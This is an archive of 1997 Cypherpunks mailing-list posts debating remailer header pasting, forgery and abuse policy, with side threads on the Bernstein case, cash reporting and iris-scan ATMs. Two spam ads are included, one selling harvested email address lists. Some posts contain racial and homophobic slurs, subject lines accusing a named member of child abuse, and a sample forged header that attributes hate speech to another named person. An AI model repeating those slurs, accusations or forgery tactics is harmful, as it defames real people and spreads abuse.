>* around with 132 K in a truck?? >* >* The simple possession of any amount of money is not subject to "police >* approval", unless of course we are living in a police state. I am not sure, but it seems to me that there is some sort of currency control laws that say that you cannot have 10K or mor ein oyur possession unless you show there is a good reason, like on your way to the bank, being abusiness heading for the bank atthe end of the day etc, and of course banks report deposits of 10K or more. I know of two different people who were not 'in business' who did perfectly legal transactions that left them with 32K and 47K in cash each instead of big checks and who simply deposited it. One recieved a phone call and the other a visit by IRS asking 'what, why, where' etc within two weeks of depositing money. Brian B. Riley --> http://members.macconnect.com/~brianbr For PGP Keys "Patriotism is the last refuge of the scoundrel" -- Samuel Johnson "With all due respect to an enlightened but inferior lexicographer I beg to submit that it is the first." -- Ambrose Bierce's commentary on Johnson's definition. From janey at wannaplay.com Tue Dec 2 21:49:24 1997 From: janey at wannaplay.com (janey at wannaplay.com) Date: Tue, 2 Dec 1997 21:49:24 -0800 (PST) Subject: Free Live Sex! Message-ID: <0000000000.AAA000@wannaplay.com> ****************Attention Video Sex Lovers***************** Never Pay for Video Sex ever again. Brand New Totally Free Live Video Sex Website. Come Check out unlimited Live Video sex Channels. http://209.25.83.24/indexc.htm From tm at dev.null Tue Dec 2 06:11:18 1997 From: tm at dev.null (TruthMonger) Date: Tue, 2 Dec 1997 22:11:18 +0800 Subject: [Fwd: [cpj:279] Re: PGP 5.0i for Windows95/NT][cpj:279] Re: PGP 5.0i for Windows95/NT In-Reply-To: <199712012335.IAA18844@success.isid.co.jp> Message-ID: <348412DA.D8D@dev.null> An embedded message was scrubbed... From: unknown sender Subject: no subject Date: no date Size: 380 URL: From tm at dev.null Tue Dec 2 06:14:47 1997 From: tm at dev.null (TruthMonger) Date: Tue, 2 Dec 1997 22:14:47 +0800 Subject: Bill Stewart kills babies after he molests them. Honest! / Re: Pasting in From: In-Reply-To: Message-ID: <348410EB.55FB@dev.null> stewarts at ix.netcom.com wrote: > -----BEGIN PGP FORGED MESSAGE----- > >On Sun, 30 Nov 1997, Lance Cottrell wrote: > >> [Spam baiting, forged mailing list subscriptions] > The hard problem is > >> Forged postings with deplorable content will bring down retribution > >> on the forgery victim. > I shut down my remailer a few years ago because of this one; > the forger posted hate mail to the gay newsgroups with the victim's name > at the bottom (didn't even use From: pasting, just message body.) > Supporting From: pasting just encourages this. So what's the problem? Has everyone forgotten how to use their delete key? Does nobody have anything better to do with their time and resources than to waste them being offended by people who are trying to offend them? It never fails to amaze me that complainers point out that an 'abusive' letter started out, "I hate niggersfaggotsjewsyou!" and then proceed to list the other fifty 'abusive' things that the writer had to say. Do these people correct the spelling as they are reading the 'abusive' messages? > Besides Usenet, other popular tactics for retribution are > sending death threats to politicians, sending child pornography > to mailing lists, forging messages _from_ politicians, etc. > Disclaimer/warning headers help, but can't stop it all. Laissez-faire... I have never been very enamored of becoming a babysitter to the whole fucking world in the enterprises I enter into. I set up an anonymous remailer system for a mental health group and the first time they claimed that someone was 'abusing' it, I told them, "You're all fucking crazy! What the fuck do you expect? That's why you have the list in the first place." I can't believe the lame fucks who complain about politically incorrect anarchists on the CypherPunks list, or who suggest that list members who may or may not hate niggersfaggotsjewsyou somehow reflect well or badly on the CypherPunk Nation/Flag/Cause. Got a problem with my politics? I wear a grey blazer. You can a different colored blazer, so my posts don't reflect badly on you. Identity/source forgery is not usually a major problem in itself, but becomes one because of the people who buy into the game being played because they can't fuck up their boss without getting fired, so they're waiting for someone to 'give them a reason...' I followed an anti-spam list full of dweebs who had no idea how to tell a good header from a badly forged header, and they would spam god-and-everybody, en mass, like a blind lynch mob. It was hilarious to watch. I can make my own Bill Stewart signature and inundate the InterNet with "I like to kill babies after I molest them (signed) posts." Although it would undoubtedly be a pain in the ass for you, it would also result in the education of a lot of complainers as to the principles of identity and digital signitures, albeit at the expense of your time and resources. I can also do the same with the perceived net identities of other people, including politicians and random strangers. And so can anyone else. So what? It's part of life. We can route around the damage, or we can make it a felony punishible by death, or we can give up our job, family and hobbies in order to spend the rest of our life crusading against the 'wrong' that has been done to us. There seem to be an increasing number of people who are crying out for elephant-gun solutions to fly-swatter problems. During the censorship experiment, my nephew and his friends were reading some of the grand schemes proposed for dealing with the spam/flames/etc on the list. (Everyone must wear an aluminum foil hat and generate hash-cash e-postage to be sent to a Mars base station for conversion to an exchange medium based on their hair color and weight...) He looked at me, mystified, and said, "Don't these guys have keys?" There are always going to be people who read the disclaimers and warnings on anonymously sent email and still harass our good pal, because 'he' sent them a message saying, "I dare you to spam me, asshole!" One of the little known secrets of the universe is that a great many problems can be 'solved' by simply ignoring them, or by using common sense. "Doctor, it hurts when I do _this_." "Don't _do_ that." GrayMonger From froomkin at law.miami.edu Tue Dec 2 06:26:23 1997 From: froomkin at law.miami.edu (Michael Froomkin - U.Miami School of Law) Date: Tue, 2 Dec 1997 22:26:23 +0800 Subject: Panel names released for Bernstein hrg on 12/8 In-Reply-To: <3.0.5.32.19971201163747.03d5b7a0@208.139.48.24> Message-ID: Fletcher and Nelson are two of the smartest, and on the whole more moderate-liberal, judges on the 9th circuit. This is a great panel for Bernstein. On Mon, 1 Dec 1997, Greg Broiles wrote: > > I just spoke with someone in the clerk's office at the Ninth Circuit - the > composition of the panel of judges for next Monday's hearing in the > Bernstein case has been released. The judges are Bright, Fletcher, and > (Thomas) Nelson. I haven't been able to find information about Judge > Bright, but found pages of (meager) ratings/discussion about Fletcher and > Nelson at: > > > and > > > I think that Judge Bright may be Myron H. Bright, a senior justice on the > 8th Circuit, who sometimes sits on 9th circuit cases by designation. > > > -- > Greg Broiles | US crypto export control policy in a nutshell: > gbroiles at netbox.com | Export jobs, not crypto. > http://www.io.com/~gbroiles | http://www.parrhesia.com > A. Michael Froomkin � +1 (305) 284-4285; +1 (305) 284-6506 (fax) Associate Professor of Law � U. Miami School of Law � froomkin at law.miami.edu P.O. Box 248087 � http://www.law.miami.edu/~froomkin/ Coral Gables, FL 33124 USA � It's almost cool here From pooh at efga.org Tue Dec 2 07:00:59 1997 From: pooh at efga.org (Robert A. Costner) Date: Tue, 2 Dec 1997 23:00:59 +0800 Subject: [RePol] Bill Stewart kills babies after he molests them. Honest! / Re: Pasting in From: In-Reply-To: Message-ID: <3.0.3.32.19971202094253.037e0654@mail.atl.bellsouth.net> At 07:45 AM 12/2/97 -0600, TruthMonger wrote: > So what's the problem? Has everyone forgotten how to use their >delete key? Does nobody have anything better to do with their time >and resources than to waste them being offended by people who are >trying to offend them? Well TruthMonger (if that is your real name,) I think you are missing the point. For purposes of the discussion, no one cares about the content of the messages, who or why they are being sent, nor is anyone bothered by anything concerning the message itself. What's being discussed is scarce resources of remailer operators. It's much like spam. It's a very shortsighted view when a user says "why can't you just hit the delete button?" This is an incorrect answer for a user who received one piece of spam, but whose small ISP, being the relay, lost all mail services for two days. Most remailers are operated with donated time and resources. Problems with the remailer, especially artificially generated ones, are just simply not desired. Perhaps it is just me, but if my phone rings because of some message on the Cracker remailer, then I don't care for it happening and I get offended. When last month a prosecutor for the Attorney General's office called me about a packet of material he had received on Cracker, I didn't care for the call. It interrupted a phone call I was having with the communications director of his ex-boss who is now running for Governor. Clearly, it cuts into time I have to do other things. When a police detective calls, not only do I have to explain about remailers and answer his questions, but I have to spend time making him prove he's a policeman before I tell him I can't tell him anything. This can take two or more phone calls and waste even more of my time. So why am I getting these phone calls and email messages? What is needed to make them stop? I don't even run a remailer! -- Robert Costner Phone: (770) 512-8746 Electronic Frontiers Georgia mailto:pooh at efga.org http://www.efga.org/ run PGP 5.0 for my public key From whgiii at invweb.net Tue Dec 2 07:33:02 1997 From: whgiii at invweb.net (William H. Geiger III) Date: Tue, 2 Dec 1997 23:33:02 +0800 Subject: More Government Sanctioned Theft In-Reply-To: <199712021249.HAA26733@mx02.together.net> Message-ID: <199712021525.KAA06216@users.invweb.net> -----BEGIN PGP SIGNED MESSAGE----- In <199712021249.HAA26733 at mx02.together.net>, on 12/02/97 at 07:49 AM, "Brian B. Riley" said: >On 12/1/97 4:16 PM, Igor Chudov @ home (ichudov at www.video-collage.com) >passed this wisdom: >>In ok.general, Jerry Morgan wrote: >>* easttom at redriverok.com (Chuck Easttom) wrote: >>* > 2. What the hell legit reason is there for a man to be driving >>* around with 132 K in a truck?? >>* >>* The simple possession of any amount of money is not subject to "police >>* approval", unless of course we are living in a police state. > I am not sure, but it seems to me that there is some sort of currency >control laws that say that you cannot have 10K or mor ein oyur possession > unless you show there is a good reason, like on your way to the bank, >being abusiness heading for the bank atthe end of the day etc, and of >course banks report deposits of 10K or more. I know of two different >people who were not 'in business' who did perfectly legal transactions >that left them with 32K and 47K in cash each instead of big checks and >who simply deposited it. One recieved a phone call and the other a visit >by IRS asking 'what, why, where' etc within two weeks of depositing >money. Well it is none of their dam business how much money I have, what form it takes, or what I choose to do with it. If I want to fill my trunk up with Krugerands and drive cross-country with them why should it be the business of some LEA thug?? Officer: "Why do you have a trunk full of Krugerands??" Citizen: "None of your dam business!!" IRS THUG: "Why do you have a trunk full of Krugerands??" Citizen: "None of your dam business!!" BTW: Does anyone know if the Platinum American Eagle was issued yet? Last I heard it was scheduled for release in October. - -- - --------------------------------------------------------------- William H. Geiger III http://users.invweb.net/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a-sha1 Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBNIQoR49Co1n+aLhhAQJhPQQAplKmRRUmUk4DxdmrlKQY3IxBZpVNTZJX yooNf6Lh1qQjwW91NExabOMG9kpIDRbWhfs4+LV+dnyXhBl8VWMC0eTPU0ez4egV N6x3NUDIoELL6ZJLlE24kBfQt6b6fTHPuCEgjuvxvLSQkkJ2kR3o2/SshTeQgFQV 7IDXnrdsGg8= =mpXs -----END PGP SIGNATURE----- From rah at shipwright.com Tue Dec 2 08:10:23 1997 From: rah at shipwright.com (Robert Hettinga) Date: Wed, 3 Dec 1997 00:10:23 +0800 Subject: State Department Advisory Committee Meeting Message-ID: --- begin forwarded text X-Sender: aboss at vm.temple.edu Mime-Version: 1.0 Date: Tue, 2 Dec 1997 08:19:51 -0500 Reply-To: Digital Signature discussion Sender: Digital Signature discussion From: Amelia Boss Subject: State Department Advisory Committee Meeting To: DIGSIG at VM.TEMPLE.EDU I previously posted an announcement concerning a meeting of the State Department's Advisory Committeee on Private International Law on the digital signatures. There have been two changes. First, the location has changed. It will now be held at the Department of commerce, Conference Room 5855 beginning at 9:30 on Monday, December 15 (until 4:40pm). Second, it will be a *one* day only meeting. If you are planning to attend, please notify Rosie Gonzales at the State Department: (202) 776-8420; fax 202-776-8482; email at pildb at his.com. Or, call Brian Hengesbaugh at the Department of Commerce: 202-482-4620, fax 202-482-4076. In order to register for the meeting, they will need your name and government agency identification (if any), or affiliation and address, as well as phone, fax, and email address if available. Entry to the Commerce Department should be through the main entrance on 14th Street between Constitution and Pennsylvania Avenues. Hotel Accommodations: There are two hotels that have agreed to offer, on a space-available basis, rooms at the government rate ($108/single; 128/double). However, you must advise the hotel when making arrangements that you are a State Department invitee and that the government rate should be applied. They, in turn, will contact the L/PIL to verify (authenticate?) that you are on the list of attendees, so please make sure that you have followed the procedures in the previous paragraph. The two hotels are the Windham Bristol Hotel at 2430 Pennsylvania Avenue NW (walking distance to State and two blocks from Foggy Bottom metro) [202-955-6400; fax 202-955-5765] and the State Plaza Hotel at 2117 E Street NW (across from the State Department) [phone 202-861-8200; fax 202-659-8601]. Hope to see many of you there. --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/ Ask me about FC98 in Anguilla!: From andy at neptune.chem.uga.edu Tue Dec 2 09:04:01 1997 From: andy at neptune.chem.uga.edu (Andy Dustman) Date: Wed, 3 Dec 1997 01:04:01 +0800 Subject: Pasting in From: In-Reply-To: <3.0.3.32.19971201125046.006d2f34@popd.ix.netcom.com> Message-ID: On Mon, 1 Dec 1997 stewarts at ix.netcom.com wrote: > These are easy enough; the address-munging gets rid of these and > also things like forgings to alt.test and other bots, > though eventually the spammers may catch on to "User Foo com" etc. It's probably too much effort for them to bother with. If you were a spammer, and wanted loads of addresses, how would you get them? Headers are the most address-rich part of the message, so you just get headers from the server. Then you look for addresses with a regex. Looking for mangled addresses means that now you have to have two regexes, which increases your search time for not much benefit. No, the only ones which will bother will be the spiteful ones... > I shut down my remailer a few years ago because of this one; > the forger posted hate mail to the gay newsgroups with the victim's name > at the bottom (didn't even use From: pasting, just message body.) > Supporting From: pasting just encourages this. > > It's possible to cancel the one forged usenet message, > but that didn't stop the flames many people emailed to her, > and fewer systems are accepting cancels these days, > especially when forged by remailers... With the address munging on USENET posts, you have to do a bit of work in order to even find the actual forged address (look at the headers, dig out Author-Address:, unmangle it), and by then you ought to be wondering, Did this person really send this? > By the way, one technical risk with From:-pasting is that you need to > parse or substitute special characters including parens and anglebrackets. > Otherwise it's easy for people to paste in syntactically incorrect headers, > which really annoy some gateways and mail clients - nested parens are > a particular problem. Ah. When munging, I just use: sendmail -bv -- $ADDR and then a bit of sed magic. If anything can parse it correctly, it's sendmail. > >(I would like to see Cc: and Bcc: being allowed to be pasted in also). > At minimum, addresses in Cc: and Bcc: need to be checked against > blocking lists, and it's probably worth checking the number of > names in the list against some threshold - especialy Bcc:s, > which tend to be popularly used by spamware. On cracker, you can paste To:, CC:, and Bcc:. All are checked against the destination block file. At present, if a blocked address is on a list of addresses, the entire list is blocked. Maximum number of recipients is 20, at which point the whole thing is dropped. > >I would also like to see From: pasted in. In fact I can see no > >purpose to restrict what can be pasted in, other than to reduce > >complaints to the remailer operator possibly. > Too easy to be abused by forgers, as are Reply-To: and Sender:. Sender: we don't allow, or X-Sender: or Received: or Comments: authenticated sender is. Reply-To: is allowed, and checked against the destination block list. In practice, this stuff doesn't seem to be a problem. Andy Dustman / Computational Center for Molecular Structure and Design For a great anti-spam procmail recipe, send me mail with subject "spam". Append "+spamsucks" to my username to ensure delivery. KeyID=0xC72F3F1D Encryption is too important to leave to the government. -- Bruce Schneier http://www.athens.net/~dustman mailto:andy at neptune.chem.uga.edu <}+++< From comsec at nym.alias.net Tue Dec 2 09:13:22 1997 From: comsec at nym.alias.net (Charlie Comsec) Date: Wed, 3 Dec 1997 01:13:22 +0800 Subject: Pasting in From: Message-ID: <19971202170009.20761.qmail@nym.alias.net> -----BEGIN PGP SIGNED MESSAGE----- - -----BEGIN PGP SIGNED MESSAGE----- stewarts at ix.netcom.com wrote: > >(I would like to see Cc: and Bcc: being allowed to be pasted in also). > > At minimum, addresses in Cc: and Bcc: need to be checked against > blocking lists, and it's probably worth checking the number of > names in the list against some threshold - especialy Bcc:s, > which tend to be popularly used by spamware. As long as blocking requests are authenticated with some sort of "cookie" token scheme, that would be acceptable. That goes for INDIVIDUAL blocking requests. Somewhat more discretion ought to be used for requests to block an entire domain. That should probably only be done upon request from the "postmaster" at that domain, and when an entire domain is blocked, that fact should probably be announced in advance, publicly, in alt.privacy.anon-server to inform users in that domain who might not have been made aware of the action and who might need to recreate 'nym reply blocks, etc., before their incoming mail gets embargoed. For example, if I had a 'nym with a reply block that directed replies to my e-mail account at work (I don't, BTW), and my employer decided that it no longer wanted its employees to be able to receive anonymous e-mail, then it would only be polite for the employer to notify the employees well in advance of that policy change. But in case the employer failed to do so, a public notice should also be made. In fact, I'd say that domain-wide blocking requests should only be accepted from "postmaster" or one of the contact addresses listed with InterNIC for that domain. One large ISP, for example, allowed a user (who was not an employee nor a representative of the ISP) to sign up for the user ID "abuse". > >I would also like to see From: pasted in. In fact I can see no > >purpose to restrict what can be pasted in, other than to reduce > >complaints to the remailer operator possibly. > > Too easy to be abused by forgers, as are Reply-To: and Sender:. I'm not sure what the actual use of a "Sender:" header is, but pasting in a "Reply-To:" header is not technically forgery, since it does not imply where a message came From:. It is only a suggestion where replies should be directed. When the From: and Reply-To: lines both exist, but differ, most software gives the user an option of which address to reply to. Thus, in the final analysis the person replying makes and is responsible for the decision as to where to send his reply. > >My software shows be all headers. I am not sure what other software > >would do, probably, only display the first From field (the remailers). > > > MSMail and other closed systems are generally quite arrogant > about only showing you the mail headers they "know" you want to see, > and discarding the rest, whether that's what you want or not. > Lots of mail clients only show you one From:, either discarding > others or making them available in a "Show all headers" mode. All the more reason to only allow pasting in the replacement mode. > There are other remailer-like systems that provide mailboxes > for anonymous retrieval; I think Jenaer does something like that. > And then of course there are hotmail and juno :-) That doesn't solve the problem of how to post with a NON-replyable pseudonym, though. It has been suggested that the practice of pasting in a From: header should not be allowed because it is subject to abuse and that this can better be accomplished through a 'nym server. But if the person doesn't want e-mail replies, why should a 'nym server be burdened with maintaining a reply mechanism that the 'nym owner doesn't want to use? Even if the reply block is redirected to /dev/null at somedomain.com, handling replies, incoming mail bombs, etc. is unnecessary work. The fact that the remailer net has implemented source-level blocking upon request means it already has more safeguards in place against "forgery" than 90% of the ISPs have. It's quite ironic to see people like Gary Burnore complain that allowing a remailer user to set an arbitrary From: is "abusive" when the ISP he (and you) post from, Netcom, allows that very thing. There are actually two valid reasons I can think of to paste in a From: header: One is to post "from" a pseudonym without having to go through the 'nymserver. For example, to make posts and send correspondence when the 'nym server is down or to be able to post from a non-secure site without having to compromise security by making one's PGP secret keyring accessible at that site. The second reason would be to post using a non-replyable pseudonym. Many newsreaders gather only the headers of Usenet messages and list them by their Subject: and From: lines. Without the ability to set a From: line, one's posts to a thread are indistinguishable from all the other ones from "nobody at replay.com". If I want to call myself "Santa Claus", it's far easier to paste in a "From: Santa Claus " than to go to the trouble of creating a replyable 'nym at a 'nym server just to put something recognizeable in the From: header. The problem with eliminating any feature that gets abused is that it's an open invitation for someone to deliberately abuse it just to get it eliminated. Whenever possible, a solution should be sought which eliminates abuse while still allowing legitimate use. - - -- Finger for PGP public key. - -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQEVAwUBNIQzwwbp0h8ZvosNAQFLpgf+LS9VIGvUV3JKRHp+/ZtoRUkhNgH0h2Jg tr/5gazeo+k0EHnaA/jvdnZ2HKSSkKguXaAnzejBnTtfvfQa38GcWBZsve/4fC9e YAv80++wGj/0RhgwNEp8ovm57u5KQmybOqxmfeQ8H/cc8jyfhZEBGb2sxIbqvze5 NvzMGUHpKfUfduxo+kGeoOPOO+CkpM1sd5RmFSPojd6DgG3gNELjLD1jWLpZT7BC YlBOJFh39ibssjQQO1lcLokdgqlDLQZWx1Lar9fyuWHlO5z+2wKkI+MICMkF32YE dd3sPuhZxEGZGHyV+gybqm961G/7VctAXWrKlXuELb1HYUpsSkU+GA== =Q+h9 - -----END PGP SIGNATURE----- ~~~ This PGP signature only certifies the sender and date of the message. It implies no approval from the administrators of nym.alias.net. Date: Tue Dec 2 17:00:03 1997 GMT From: comsec at nym.alias.net -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEUAwUBNIQ+mE5NDhYLYPHNAQHVxQf3Y3DTPTUfLoQ/4qMM4Dxn58WS3zGQQpG3 +R6nVXONkQ5NpkSEdhoJDA8ANU9Xf/Bd0o1WtVhoTzutqULMUQjKKPKUtda/rxHh IkhgeFHuTq8jYfLso0MQkWFDGusd3BKacChKF83Rp0s6lOUZw0gr+ejVQNK6jLR6 PCzu5arH+X5y/4kRL12mLk/q72wW6ghN28b/9ogL+P8dWVfQjpSkJBA77OX4bQqE 2EixaU9xOwUOcBWnvmukXaPZF2PQ99MGOVQ9xZrdP6TSpWcmgbW1gg0xBPn6uCkl VD/TWTnCGMF86n0La85nx8/ypR6GxpyrcSrBpdkUdhgU61xmNXyS =aLBH -----END PGP SIGNATURE----- From andy at neptune.chem.uga.edu Tue Dec 2 09:27:18 1997 From: andy at neptune.chem.uga.edu (Andy Dustman) Date: Wed, 3 Dec 1997 01:27:18 +0800 Subject: Pasting in From: In-Reply-To: <19971202170009.20761.qmail@nym.alias.net> Message-ID: On 2 Dec 1997, Charlie Comsec wrote: > As long as blocking requests are authenticated with some sort of "cookie" > token scheme, that would be acceptable. That goes for INDIVIDUAL blocking > requests. I used to require that people reply to a confirmation message before I would block them, but it was really too much effort. I check the headers, and as long as it looks like the request came from them, I block them and send them a message that they are blocked, so at least if it's a spoofed request, they will know they have been spoofed. > Somewhat more discretion ought to be used for requests to block > an entire domain. That should probably only be done upon request from the > "postmaster" at that domain, and when an entire domain is blocked, I do exactly that, or require a request from the internic-listed contact. > The problem with eliminating any feature that gets abused is that it's an open > invitation for someone to deliberately abuse it just to get it eliminated. > Whenever possible, a solution should be sought which eliminates abuse while still > allowing legitimate use. Agreed, and I think I've worked out a reasonable compromise, because even if you do try to forge somebody, it should scream, "Hey, you should be suspicious about where this really came from." Andy Dustman / Computational Center for Molecular Structure and Design For a great anti-spam procmail recipe, send me mail with subject "spam". Append "+spamsucks" to my username to ensure delivery. KeyID=0xC72F3F1D Encryption is too important to leave to the government. -- Bruce Schneier http://www.athens.net/~dustman mailto:andy at neptune.chem.uga.edu <}+++< From tm at dev.null Tue Dec 2 09:29:40 1997 From: tm at dev.null (TruthMonger) Date: Wed, 3 Dec 1997 01:29:40 +0800 Subject: [RePol] Bill Stewart kills babies after he molests them. Honest! / Re: Pasting in From: In-Reply-To: Message-ID: <34844264.4B14@dev.null> Robert A. Costner wrote: > At 07:45 AM 12/2/97 -0600, TruthMonger wrote: > > So what's the problem? Has everyone forgotten how to use their > >delete key? Does nobody have anything better to do with their time > >and resources than to waste them being offended by people who are > >trying to offend them? > > Well TruthMonger (if that is your real name,) I think you are missing the > point. For purposes of the discussion, no one cares about the content of > the messages, who or why they are being sent, nor is anyone bothered by > anything concerning the message itself. What's being discussed is scarce > resources of remailer operators. I was responding to Bill and Lance's comments in regard to forgery victims being set up as targets of retribution. I think references to "deplorable content" indicate some measure of judgement in regard to defining what is considered 'abuse' of a remailer. However, you are right about the thread basically dealing with the reprecussions to the remailer operators and their resources as an end result of the particular modes of remailer use. At the risk of actually being on-topic in a thread, I should point out that I have always been of the opinion that it is up to the individual remailer operators to judge what level and types of use they are able to provide as a service with their given time and resources. > Most remailers are operated with donated time and resources. Problems with > the remailer, especially artificially generated ones, are just simply not > desired. True, but I doubt that the artificially generated attacks on a remailer are possible to fully deter, no matter what convolutions one puts themselves through in order to stop it. I can post the following to USENET: From: JoeBlow at hotmail.com To: All USENET Groups Subject: Robert A. Costner uses his remailer for hate attacks -----Begin Forwarded Message----- Received: from anon.lcs.mit.edu (anon.lcs.mit.edu [18.26.0.254]) Delivered-To: remailer-operators at anon.lcs.mit.edu Message-Id: <3.0.3.32.19971202094253.037e0654 at mail.atl.bellsouth.net> X-Sender: rcostner at mail.atl.bellsouth.net Date: Tue, 02 Dec 1997 09:42:53 -0500 To: remailer-politics at server1.efga.org From: "Robert A. Costner" Subject: I Hate People Of All Colors, and I Kill Their Children -----End Forwarded Message---- > Perhaps it is just me, but if my phone rings because of some > message on the Cracker remailer, then I don't care for it happening and I > get offended. When last month a prosecutor for the Attorney General's > office called me about a packet of material he had received on Cracker, I > didn't care for the call. It interrupted a phone call I was having with > the communications director of his ex-boss who is now running for Governor. > Clearly, it cuts into time I have to do other things. If you are in a position where it is unwise for you to simply tell certain people, "Learn how to use a Delete key, shit for brains!" then this is obviously a personal cost to you for your connection to the Cracker remailer. Everything you do cuts into the time you have to do other things. Personally, I appreciate the time and resources you provide for supporting remailer services. However, when I email politicos and other public figures I often advise them that they can only fuck so many people for so long before the lynch mob is going to show up on their doorstep and I don't want to hear them whining about their fate in life. I sometimes use a remailer, even when I cc: public mailing lists (thus making the source/identity of the post/poster obvious), just because I find that there are many self-important jerkoffs who love to fuck with people for the smallest of reasons, unless it actually requires them to make a real effort to do so. Feel free to provide my email and/or home address to any legal entity who has a problem with anonymous posts from my shallowly disguised identity, but you might want to warn them that unless their penis is long enough to reach to their own asshole, they are not likely to profit from any suggestion I might make to them. > When a police detective calls, not only do I have to explain about > remailers and answer his questions, but I have to spend time making him > prove he's a policeman before I tell him I can't tell him anything. This > can take two or more phone calls and waste even more of my time. Tell them you'll send them a faq/fax for their edification, and to contact you again only if they are too ignorant to understand the basic concepts. And why do you have to make him prove he's a policeman in order not to tell him anything? When I deal with John Law I tell them that I will be happy to deal with them at my convenience, unless they can provide a reasonable need for expediency. Their alternative is to explain to a judge why they arrested you for considering your own time as valuable as theirs, and giving you cause to refuse to cooperate, in the process. > So why am I getting these phone calls and email messages? What is needed > to make them stop? I don't even run a remailer! You're a public figure. You're getting your fifteen minutes of 'flame'. > -- Robert (Spam Me!) Costner TruthMonger (Or so I would have you believe...) From M4f7mtcED at juno.com Wed Dec 3 01:47:28 1997 From: M4f7mtcED at juno.com (M4f7mtcED at juno.com) Date: Wed, 3 Dec 1997 01:47:28 -0800 (PST) Subject: Make More Sales! Message-ID: Make More Sales!!! ****************************************************************** Your product, service, information, opportunity can be seen by thousands or even millions in just days! We are experienced commercial emailers who know how important it is to get your message, product, or service out to the masses FAST! We offer fast turn around at a fair price. At S. Direct Marketing we offer: Highly targeted ads: We use the most advanced software available to "extract" or find people that might be interested in your offer by entering "key words" in search engines and browsers. We can target your ad to the following criteria: Hobbies, Special Interests, Bus. Opp., Income Seekers, MLM, and much more. Your cost to extract targeted email addresses is only 1.5 cents per email address, i.e. 10,000 targeted emails would be $150; 20,000 emails for $300. The cost for us to mail all targeted email lists is an additional $50. I extract 50 to 100,000 AOL addresses every day! "No one else can do this by the way". The cost for these general lists are 1 cent for every 10 names.... Just tell us how many you want. I will personally extract all the duplicate names for you. Thus making it a clean list. Yes! We sell our lists! If you need us to generate a lists for you, just call for our rates. We will need an additional 3-5 days to generate a targeted list. A targeted list of 25,000 emails can typically generate as much response as a general list of 1,000,000 emails! Price Rates for General (Non Targeted) Emails 10,000 emails $50 25,000 emails $55 50,000 emails $65 100,000 emails $115 150,000 emails $145 200,000 emails $195 300,000 emails $250 Ordering Instructions: We accept Visa, Mastercard, American Express, check by fax or you can mail check or money order. Please print this order form and have it ready when you call our office. Our office hours are: 9am to 9pm (PST) 7-days. Call now! 510-653-4709 You will be given directions on where and how to send us your order. 30 From lutz at belenus.iks-jena.de Tue Dec 2 09:52:04 1997 From: lutz at belenus.iks-jena.de (Lutz Donnerhacke) Date: Wed, 3 Dec 1997 01:52:04 +0800 Subject: PGP 5.0 ConsensuS?? -- is it usable? In-Reply-To: <199711282127.QAA27009@users.invweb.net> Message-ID: * William H. Geiger III wrote: > at 05:06 PM, lutz at belenus.iks-jena.de (Lutz Donnerhacke) said: >>* Anonymous Remailer wrote: >>>Do you think that it is a good idea to migrate from pgp 2.6.3 to >>>pgp 5.0 now? > >>No. > >Care to justify that? In which way? It's a clear statement. From mixmaster at remail.obscura.com Tue Dec 2 10:35:00 1997 From: mixmaster at remail.obscura.com (Mix) Date: Wed, 3 Dec 1997 02:35:00 +0800 Subject: Pasting in From: Message-ID: <199712021802.KAA08927@sirius.infonex.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Robert A. Costner wrote: >I was thinking of remailers sending out anon messages with a distinct from >line that has zero connection (in the nym database) to any email address. >Is this possible? To establish a nym only through one way communication? I think so. The key here is to have all the nym's mail sent from the same remailer, pasting in a From: [nym] header. The remailer could verify the message by checking the digital signature on the message before remailing it to it's final recipient/s. When the recipient sees that the Sender: was the nym's usual remailer, he is fairly certain that the message originated from the nymholder, but not as certain as when he verifies the digital signature himself. Also, it would be nice if the nymholder could set the Reply-To: header, thus allowing him to change his inbox "on the fly" (hotmail, a nymserver, alt.anonymous.messages, etcetera). Since anonymous remailing is now considered a free service in the minds of most of its users, charging for it does not make sense. I'd be curious to know how much money has been collected by the ecash-accepting remailer that Ian Goldberg set up a couple months back. [nym] remailer like I mentioned above may become lucrative if it generates enough repeat customers (i.e., persistent nyms). So could charging a fee for each address put in the Bcc: header. Nerthus -----BEGIN PGP SIGNATURE----- Version: PGP for Personal Privacy 5.0 Charset: noconv iQA/AwUBNIQq3Ba1d3zm4nqOEQJPOQCgvHJa9vQEdX4ejxcv14X85S0GlNMAn0Kj EgANE66o/Q0fRBFxIZSVZh9C =+0az -----END PGP SIGNATURE----- From vin at shore.net Tue Dec 2 11:10:47 1997 From: vin at shore.net (Vin McLellan) Date: Wed, 3 Dec 1997 03:10:47 +0800 Subject: Big Brother Is Watching ATMs In-Reply-To: <2367.881005036@zelkova.qualcomm.com> Message-ID: Robert A. Costner wrote: >As wonderful as eye scanning technology may sound, it promises to offer >very weak identification and only be reliable in the short run. This is >based on the premise that a reproduction of an eye will work as well. Just >as a reproduction of a driver's license seems to work for check forgery. With respect, I disagree. I think it is quite likely that an iris-scan technology can effectively differentiate between a living eye and a reproduction (or, as one of my many correspondents on this topic suggested, an eye forcibly removed from the socket of a potential fraud victim.) In any case, the issue of false positives/negatives will be settled with evidence. I think the technology will probably be useful, in those terms. My concern is rather with who owns and controls the scan data from an individual's own eye: whoever scans him or her? Scans at a distance? Surreptitiously? Whatever entity claims the right to validate or authenticate the individual's identity, for his or her own good? for the public good? If the value of eye-scanning (or any other type of biometric authentication) is to be short-lived, it will be because the scan-data itself will be poorly held, or transferred insecurely. While it may be difficult or impossible to fake out the camera with a phony eyeball, it will _certainly_ be possible to inject a copy of the proper scan-data somewhere into the linkage between the camera lens and probably remote authentication server which will support it. The inherent weakness of biometric identifiers is that, if (or when) there is a breach in the authentication system (or the access controls or crypto system which secures the database which supports it,) it will be impossible to correct the situation (as we might issue a new ATM card or smartcard, or a 